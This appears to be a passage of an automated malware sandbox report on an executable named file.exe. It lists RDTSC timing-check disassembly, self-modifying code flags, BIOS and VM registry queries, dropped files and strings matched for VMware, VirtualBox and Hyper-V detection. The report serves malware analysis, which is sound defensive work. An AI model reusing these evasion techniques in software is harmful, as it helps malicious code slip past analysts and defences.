Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0D76 second address: 4DA0DA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebx+70h] 0x0000000b jmp 00007FBCFCCB599Dh 0x00000010 push 00000001h 0x00000012 pushad 0x00000013 mov cx, 0023h 0x00000017 movzx eax, bx 0x0000001a popad 0x0000001b push esp 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FBCFCCB599Ch 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0DA9 second address: 4DA0DCE instructions: 0x00000000 rdtsc 0x00000002 mov eax, 21AE7381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, C6h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FBCFC6B7944h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0DCE second address: 4DA0DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFCCB599Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0DE0 second address: 4DA0DE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0DE4 second address: 4DA0DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-18h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBCFCCB599Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0EF2 second address: 4DA0EF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0EF8 second address: 4DA0F4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebp-14h] 0x0000000b jmp 00007FBCFCCB59A9h 0x00000010 mov ecx, esi 0x00000012 jmp 00007FBCFCCB599Eh 0x00000017 mov dword ptr [esi+0Ch], eax 0x0000001a jmp 00007FBCFCCB59A0h 0x0000001f mov edx, 74E806ECh 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0F4A second address: 4DA0F4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0F4E second address: 4DA0F6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB59A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0F6B second address: 4DA0F71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0F71 second address: 4DA0FB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB59A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub eax, eax 0x0000000d jmp 00007FBCFCCB599Fh 0x00000012 lock cmpxchg dword ptr [edx], ecx 0x00000016 pushad 0x00000017 mov dx, ax 0x0000001a call 00007FBCFCCB59A0h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0FB5 second address: 4DA0FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0FC2 second address: 4DA0FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0FC6 second address: 4DA0FCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0FCC second address: 4DA0FD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0FD1 second address: 4DA0FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0FE2 second address: 4DA0FE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0FE6 second address: 4DA0FFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7940h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0FFA second address: 4DA1000 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA1000 second address: 4DA1004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA1004 second address: 4DA1061 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FBD6CD1405Bh 0x00000011 jmp 00007FBCFCCB599Eh 0x00000016 mov edx, dword ptr [ebp+08h] 0x00000019 pushad 0x0000001a mov edx, esi 0x0000001c call 00007FBCFCCB599Ah 0x00000021 mov dx, si 0x00000024 pop eax 0x00000025 popad 0x00000026 mov eax, dword ptr [esi] 0x00000028 pushad 0x00000029 mov eax, ebx 0x0000002b mov esi, edx 0x0000002d popad 0x0000002e mov dword ptr [edx], eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FBCFCCB59A3h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA1061 second address: 4DA1065 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA1065 second address: 4DA106B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA106B second address: 4DA107A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFC6B793Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA107A second address: 4DA1097 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBCFCCB59A0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA1097 second address: 4DA10C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov edx, eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [edx+04h], eax 0x0000000e jmp 00007FBCFC6B7944h 0x00000013 mov eax, dword ptr [esi+08h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA10C2 second address: 4DA10C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA10C8 second address: 4DA10CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA10CE second address: 4DA10D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA10D2 second address: 4DA117D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B793Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [edx+08h], eax 0x0000000e pushad 0x0000000f call 00007FBCFC6B793Eh 0x00000014 mov ch, C3h 0x00000016 pop edi 0x00000017 mov dx, cx 0x0000001a popad 0x0000001b mov eax, dword ptr [esi+0Ch] 0x0000001e pushad 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 mov si, 71A7h 0x00000026 popad 0x00000027 movzx esi, bx 0x0000002a popad 0x0000002b mov dword ptr [edx+0Ch], eax 0x0000002e jmp 00007FBCFC6B793Fh 0x00000033 mov eax, dword ptr [esi+10h] 0x00000036 jmp 00007FBCFC6B7946h 0x0000003b mov dword ptr [edx+10h], eax 0x0000003e jmp 00007FBCFC6B7940h 0x00000043 mov eax, dword ptr [esi+14h] 0x00000046 jmp 00007FBCFC6B7940h 0x0000004b mov dword ptr [edx+14h], eax 0x0000004e pushad 0x0000004f push eax 0x00000050 mov cl, dl 0x00000052 pop eax 0x00000053 mov ch, dl 0x00000055 popad 0x00000056 mov eax, dword ptr [esi+18h] 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007FBCFC6B793Dh 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA117D second address: 4DA11F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB59A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+18h], eax 0x0000000c jmp 00007FBCFCCB599Eh 0x00000011 mov eax, dword ptr [esi+1Ch] 0x00000014 jmp 00007FBCFCCB59A0h 0x00000019 mov dword ptr [edx+1Ch], eax 0x0000001c pushad 0x0000001d mov bx, cx 0x00000020 mov si, F359h 0x00000024 popad 0x00000025 mov eax, dword ptr [esi+20h] 0x00000028 jmp 00007FBCFCCB59A4h 0x0000002d mov dword ptr [edx+20h], eax 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FBCFCCB59A7h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA11F5 second address: 4DA11FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA11FB second address: 4DA11FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA11FF second address: 4DA1203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA1203 second address: 4DA125C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+24h] 0x0000000b jmp 00007FBCFCCB59A7h 0x00000010 mov dword ptr [edx+24h], eax 0x00000013 pushad 0x00000014 mov ebx, ecx 0x00000016 call 00007FBCFCCB59A0h 0x0000001b push ecx 0x0000001c pop ebx 0x0000001d pop esi 0x0000001e popad 0x0000001f mov eax, dword ptr [esi+28h] 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FBCFCCB59A8h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA125C second address: 4DA1285 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B793Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+28h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBCFC6B7945h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA1285 second address: 4DA1295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFCCB599Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA1295 second address: 4DA12D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [esi+2Ch] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FBCFC6B793Dh 0x00000012 adc esi, 2E253836h 0x00000018 jmp 00007FBCFC6B7941h 0x0000001d popfd 0x0000001e mov ax, B827h 0x00000022 popad 0x00000023 mov dword ptr [edx+2Ch], ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA12D5 second address: 4DA12D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA12D9 second address: 4DA12DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA12DF second address: 4DA12E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA12E5 second address: 4DA12E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA12E9 second address: 4DA12FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ax, word ptr [esi+30h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA12FB second address: 4DA12FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA12FF second address: 4DA1305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA1305 second address: 4DA1318 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFC6B793Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA1318 second address: 4DA1349 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB59A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov word ptr [edx+30h], ax 0x0000000f pushad 0x00000010 push esi 0x00000011 mov dx, 802Eh 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 mov ecx, 06EBCDE1h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA1349 second address: 4DA13BF instructions: 0x00000000 rdtsc 0x00000002 mov eax, 4876671Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ax, word ptr [esi+32h] 0x0000000e jmp 00007FBCFC6B7948h 0x00000013 mov word ptr [edx+32h], ax 0x00000017 jmp 00007FBCFC6B7940h 0x0000001c mov eax, dword ptr [esi+34h] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 pushfd 0x00000025 jmp 00007FBCFC6B7943h 0x0000002a sub si, 0B9Eh 0x0000002f jmp 00007FBCFC6B7949h 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA13BF second address: 4DA1442 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBCFCCB59A7h 0x00000009 sub ch, FFFFFFAEh 0x0000000c jmp 00007FBCFCCB59A9h 0x00000011 popfd 0x00000012 mov ebx, eax 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr [edx+34h], eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FBCFCCB59A8h 0x00000021 or cl, 00000058h 0x00000024 jmp 00007FBCFCCB599Bh 0x00000029 popfd 0x0000002a movzx esi, di 0x0000002d popad 0x0000002e test ecx, 00000700h 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FBCFCCB599Eh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA1442 second address: 4DA1454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFC6B793Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA1454 second address: 4DA1458 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA1458 second address: 4DA14B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FBD6C715BEDh 0x0000000e jmp 00007FBCFC6B7947h 0x00000013 or dword ptr [edx+38h], FFFFFFFFh 0x00000017 pushad 0x00000018 jmp 00007FBCFC6B7944h 0x0000001d mov dh, al 0x0000001f popad 0x00000020 or dword ptr [edx+3Ch], FFFFFFFFh 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FBCFC6B7948h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA14B7 second address: 4DA14E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or dword ptr [edx+40h], FFFFFFFFh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBCFCCB59A5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA14E1 second address: 4DA152B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FBCFC6B793Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop esi 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FBCFC6B7948h 0x00000015 adc si, E7C8h 0x0000001a jmp 00007FBCFC6B793Bh 0x0000001f popfd 0x00000020 popad 0x00000021 pop ebx 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 mov si, 93D1h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA152B second address: 4DA154B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movzx ecx, di 0x00000009 popad 0x0000000a leave 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBCFCCB59A1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA154B second address: 4DA154F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA154F second address: 4DA1555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA1555 second address: 4DA155B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA155B second address: 4DA155F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0706 second address: 4DC0768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FBCFC6B793Ch 0x0000000a sub eax, 0BB0FE78h 0x00000010 jmp 00007FBCFC6B793Bh 0x00000015 popfd 0x00000016 popad 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 jmp 00007FBCFC6B7946h 0x0000001e push eax 0x0000001f jmp 00007FBCFC6B793Bh 0x00000024 xchg eax, ebp 0x00000025 pushad 0x00000026 jmp 00007FBCFC6B7944h 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 825687 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9D7CBF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 82564E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A5FADB instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ABD0BE rdtsc

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ABE840 str word ptr [edx+14h]

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Gw22fw4wYfffwGJG\Bunifu_UI_v1.5.3.dll			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Gw22fw4wYfffwGJG\Y-Cleaner.exe			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 6640	Thread sleep count: 86 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6640	Thread sleep count: 80 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6640	Thread sleep count: 76 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6640	Thread sleep count: 76 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6660	Thread sleep time: -32016s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6640	Thread sleep count: 83 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2568	Thread sleep time: -32000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6692	Thread sleep time: -52026s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6568	Thread sleep time: -42021s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3060	Thread sleep time: -42021s >= -30000s			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2443597893.00000000009AE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000002.2447244527.00000000055B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: file.exe, 00000000.00000002.2444801798.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWhp[
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: file.exe, 00000000.00000002.2447244527.00000000055A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
